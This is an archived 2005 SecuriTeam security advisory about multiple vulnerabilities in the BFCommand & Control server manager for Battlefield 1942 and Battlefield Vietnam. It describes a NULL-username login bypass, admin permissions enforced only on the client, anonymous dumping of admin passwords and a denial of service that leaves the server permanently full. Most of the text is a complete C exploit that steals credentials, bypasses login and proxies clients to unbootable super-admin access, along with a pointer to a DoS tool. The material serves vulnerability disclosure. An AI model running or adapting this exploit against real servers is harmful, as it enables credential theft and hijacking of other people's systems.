Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vuln

Subject: [NT] BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities
Date: 30 Aug 2005 18:36:19 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  BFCommand and Control, Battlefield 1942 and BFVietnam Multiple 
Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 <http://www.bfcommandcontrol.org/> BFCommand & Control Server Manager is 
a server manager available for the games Battlefield 1942 (with the name 
BFCC), Battlefield Vietnam (BFVCC) and Battlefield 2 (BF2CC).
The difference between these server managers and the others available on 
Internet is that BFVCC is also directly included in the CD of Battlefield 
Vietnam so it's used on many servers.

Lack of proper information validation, and connection manager allow 
attackers to perform multiple type of attacks on BFCommand and Control and 
BF Viatman.

DETAILS

Vulnerable Systems:
 * BFCC version 1.22_A and lower
 * BFVCC version 2.14_B and lower

Immune Systems:
 * BFVCCDaemon any version

Full anonymous login bypass:
An anonymous user can bypass the login mechanism and gain a full 
administration privileges.
Without using the login mechanism, the attacker can bypass the log engine, 
except for several commands that does been logged if used.

Login bypass through NULL username:
The "login" command naturally is composed by username and a password but 
the if  attackers place a NULL byte (0x00) in the username field, they 
will able to bypass the authentication and the server will grant the 
access to the attacker.

Proof of Concept:
    "login" "\x1e"      // command
    "\0"    "\x1e"      // username (NULL byte)
    "none"  "\x1e"      // password
    "none"  "\x1e"      // username
    ""      "\x1e"      // ???
    ""                  // ???
    "\x00\x40\x40\x00"  // command delimiter

Invulnerable clients and full privileges:
The administrator (and moreover the local administrator) have the ability 
of booting the other remote administrators.
Command such as "Boot" and others that have an effect on the clients are 
ignored and the server continues to keep the connection and any operation 
or disconnection is made by the client not the server.
In short a modified client (for example placing a NULL byte where is 
located the Unicode command Boot in the executable) cannot be booted.
Then each administrators can be limited in what he or she can do by 
setting some permissions in the "User Profiles" section.
Just like for the  Boot  command also the permissions are client-side so 
an administrator with a very restricted power can take the full control of 
the server manager.

Server full after consecutive connections:
A sort of "fake players" attack with the difference that here after 20 
consecutive connections (just a simple connect and disconnect) the server 
becomes full forever.
In short if the client doesn't send the "login" command the server 
considers the connection in an idle state and when is reached the limit of 
20 connections (although the connections and the sockets have been 
closed!) it becomes full and nobody can use the server manager from 
remote.

Exploit:
winerr.h can be found at:  
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html> 
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
bfccown.c:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define VER         "0.1"
#define PORT        5555
#define MYPORT      3333
#define BUFFSZ      8192
#define DEL         0x1e
#define END         "\x00\x40\x40\x00"

void proxy(int sock, u_char *buff, int size);
int check_drop(u_char *data);
void show_bfcc(u_char *buff, int len);
void send_bfcc(int sock, ...);
int recv_bfcc(int sock, u_char *buff, int size);
u_int resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            attack,
            scan = 3;
    u_short port = PORT;
    u_char  buff[BUFFSZ];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "BFCommand & Control login bypass "VER"\n"
        "  BFCC  <= 1.22_A\n"
        "  BFVCC <= 2.14_B\n"
        "  BFVCCDaemon is NOT vulnerable\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attack:\n"
            " 1 = passwords stoler, sends the GetUserAccounts anonymously 
and gets all the\n"
            "     usernames and passwords in the server manager (bug A)\n"
            " 2 = checks if is possible to bypass the login using a NULL 
username (bug B)\n"
            " 3 = proxy server to use with BFC3 and BFVC3 clients which 
grants access to any\n"
            "     vulnerable server in total anonymity and unbootable (bug 
A and C)\n"
            " 4 = explanation of how test bug D, server full forever\n"
            "\n"
            " Note: The default port of BFCC is 4555 while is 5555 for 
BFVCC (default)\n"
            "       This tool has been written to be compatible with BFVCC 
so only attack 1\n"
            "       and 4 can be used with success versus BFCC using this 
specific tool\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);
    if((attack < 1) || (attack > 4)) {
        fputs("\nError: you must choose a number between the range of 
available attacks\n\n", stdout);
        exit(1);
    }
    if(attack == 4) {
        fputs("\n"
            "Download the tool \"Generic TCP Fake Players DoS\" from 
here:\n"
            "\n"
            "  http://aluigi.altervista.org/fakep/tcpfp.zip\n";
            "\n"
            "Launch it with the following arguments\n"
            "\n"
            "  tcpfp -r full 127.0.0.1 5555\n"
            "\n"
            "substituiting 127.0.0.1 and 5555 with the server and port of 
the server you\n"
            "want to test.\n"
            "\n", stdout);
        return(0);
    }

    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    while(scan--) {
        printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);
        len = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
        if(!len) break;
        fputs("  no service available on this port\n", stdout);
        peer.sin_port = htons(++port);
    }
    if(len < 0) std_err();

    if(attack == 1) {
        fputs("- receive server's informations:\n", stdout);
        len = recv_bfcc(sd, buff, BUFFSZ);
        show_bfcc(buff, len);

        fputs("- send anonymous GetUserAccounts commands\n", stdout);
        send_bfcc(sd, "GetUserAccounts", NULL);

        fputs(
            "- receive full list of admin usernames and passwords\n"
            "  Username   Password:\n", stdout);
        len = recv_bfcc(sd, buff, BUFFSZ);
        show_bfcc(buff, len);

    } else if(attack == 2) {
        fputs("- receive server's informations:\n", stdout);
        len = recv_bfcc(sd, buff, BUFFSZ);
        show_bfcc(buff, len);

        fputs("- send login command with NULL nickname\n", stdout);
        send_bfcc(sd,
            "login",
            "\0",   // BUG exploited here
            "password",
            "username",
            "???",
            "",
            NULL);

        fputs("- check for success message:\n", stdout);
        len = recv_bfcc(sd, buff, BUFFSZ);
        show_bfcc(buff, len);

    } else if(attack == 3) {
        proxy(sd, buff, BUFFSZ);
    }

    close(sd);
    free(buff);
    return(0);
}

void proxy(int sock, u_char *buff, int size) {
    struct  sockaddr_in peer;
    fd_set  readset;
    int     sdl,
            sda,
            on = 1,
            len,
            psz,
            selsock;

    peer.sin_addr.s_addr = INADDR_ANY;
    peer.sin_port        = htons(MYPORT);
    peer.sin_family      = AF_INET;
    psz                  = sizeof(peer);

    printf("- bind port %hu\n", MYPORT);

    sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sdl < 0) std_err();
    if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
      < 0) std_err();
    if(bind(sdl, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(listen(sdl, SOMAXCONN)
      < 0) std_err();

    printf("- launch BFC3 or BFVC3 and sets %s as server and %hu as 
port\n",
        "127.0.0.1", MYPORT);

    sda = accept(sdl, (struct sockaddr *)&peer, &psz);
    if(sda < 0) std_err();

    printf("- connected\n");

    send_bfcc(sda,  // enable everything
        "master",
        "null/null/null/0/Map_True/"
        "Action-Warn"                           "\xff" "1" "\xff"
        "Action-Kick"                           "\xff" "1" "\xff"
        "Action-Insta-Kick (No Reason)"         "\xff" "1" "\xff"
        "Action-Ban"                            "\xff" "1" "\xff"
        "Action-Insta-Ban (No Reason)"          "\xff" "1" "\xff"
        "Action-Remove Ban"                     "\xff" "1" "\xff"
        "Action-Clear Banlist"                  "\xff" "1" "\xff"
        "Action-Force to Other Team"            "\xff" "1" "\xff"
        "Action-Kill Player"                    "\xff" "1" "\xff"
        "Action-Send Message to Server"         "\xff" "1" "\xff"
        "Game-Pause"                            "\xff" "1" "\xff"
        "Game-Toggle Auto-Balance"              "\xff" "1" "\xff"
        "Action-Request PB Screenshot"          "\xff" "1" "\xff"
        "BFVC3-Maps Change Maps"                "\xff" "1" "\xff"
        "BFVC3-Maps Change 2 Map NOT in "       "\xff" "1" "\xff"
        "BFVC3-Maps Restart Map"                "\xff" "1" "\xff"
        "BFVC3-Maps Set Next Map"               "\xff" "1" "\xff"
        "BFVC3-Admin Change Server Settings"    "\xff" "1" "\xff"
        "BFVC3-Admin Change FF Settings"        "\xff" "1" "\xff"
        "BFVC3-Admin Change Misc Settings"      "\xff" "1" "\xff"
        "BFVC3-Admin Change Voting Settings"    "\xff" "1" "\xff"
        "USERS-Access User Accounts"            "\xff" "1" "\xff"
        "USERS-Edit User Profiles"              "\xff" "1" "\xff"
        "USERS-Create User"                     "\xff" "1" "\xff"
        "USERS-Edit User"                       "\xff" "1" "\xff"
        "USERS-Delete User"                     "\xff" "1" "\xff"
        "BFVCC-Access Manager Control Panel"    "\xff" "1" "\xff"
        "BFVCC-Access to Auto Admin Settings"   "\xff" "1" "\xff"
        "BFVCC-Load Manager Profiles"           "\xff" "1" "\xff"
        "BFVCC-Save Changes to Profiles"        "\xff" "1" "\xff"
        "BFVCC-Create Manager Profiles"         "\xff" "1" "\xff"
        "BFVCC-Delete Manager Profiles"         "\xff" "1" "\xff"
        "CC-Access the CC Editor"               "\xff" "1" "\xff"
        "CC-Save Changes to CC Profiles"        "\xff" "1" "\xff"
        "CC-Create new CC Profiles"             "\xff" "1" "\xff"
        "CC-Delete CC Profile"                  "\xff" "1" "\xff"
        "CC-Change a Maps CC Profile"           "\xff" "1" "\xff"
        "PB-Edit PB Config Files"               "\xff" "1" "\xff",
        "15567",                                // default server port 
(useless)
        "admin"                                 "\xff", // username    
(useless)
        "True",
        "Super Admin",                          // profile
        "0",
        NULL);

    selsock = ((sock > sda) ? sock : sda) + 1;

    for(;;) {
        FD_ZERO(&readset);
        FD_SET(sock, &readset);
        FD_SET(sda, &readset);
        if(select(selsock, &readset, NULL, NULL, NULL)
          < 0) std_err();

        if(FD_ISSET(sda, &readset)) {
            len = recv_bfcc(sda, buff, size);
            fwrite(buff, len, 1, stdout);

            if(check_drop(buff)) continue;

            len = send(sock, buff, len, 0);
            if(len < 0) std_err();
        }

        if(FD_ISSET(sock, &readset)) {
            len = recv_bfcc(sock, buff, size);
            fwrite(buff, len, 1, stdout);

            if(check_drop(buff)) continue;

            len = send(sda, buff, len, 0);
            if(len < 0) std_err();
        }
    }

    close(sda);
    close(sdl);
}

int check_drop(u_char *cmd) {
    int     i;
    u_char  *p,
            *drop[] = {
                "login",
                "Boot",
                "loginfailed",
                NULL
            };

    p = strchr(cmd, DEL);
    if(!p) {
        p = strchr(cmd, END[0]);
        if(!p) return(0);
    }

    for(i = 0; drop[i]; i++) {
        if(!strncmp(cmd, drop[i], p - cmd)) return(1);
    }

    return(0);
}

void show_bfcc(u_char *buff, int len) {
    u_char  *p,
            *l,
            *limit = buff + len;

    for(p = buff; p < limit; p = l + 1) {
        for(l = p; *l != DEL; l++) {
            if(!memcmp(l, END, 4)) return;
            if(!memcmp(l, "|;|", 3)) {
                if(*(l - 1) == '\t') *(l - 1) = ' ';
                memcpy(l, "\n  ", 3);
            }
        }
        *l = 0;
        printf("  %s\n", p);
    }
}

void send_bfcc(int sock, ...) { // final NULL required
    va_list ap;
    int     len;
    u_char  *s;

    va_start(ap, sock);

    s = va_arg(ap, u_char *);
    if(s) {
        for(;;) {
            len = strlen(s);
            if(!len) len++;
            send(sock, s, len, 0);
            s = va_arg(ap, u_char *);
            if(!s) break;
            send(sock, "\x1e", 1, 0);
        }
    }

    va_end(ap);

    send(sock, END, 4, 0);
}

int recv_bfcc(int sock, u_char *buff, int size) {
    int     len = 0;

        // one command at time, slower but better
    while(len < size) {
        if(recv(sock, buff + len, 1, 0) <= 0) {
            fputs("\nError: connection interrupted\n\n", stdout);
            exit(1);
        }
        len++;
        if(!memcmp(buff + len - 4, END, 4)) break;
    }

    if(len == size) {
        fputs("\nError: command too long\n\n", stdout);
        exit(1);
    }

    return(len);
}

u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/bfccown-adv.txt> 
http://aluigi.altervista.org/adv/bfccown-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities, SecuriTeam <=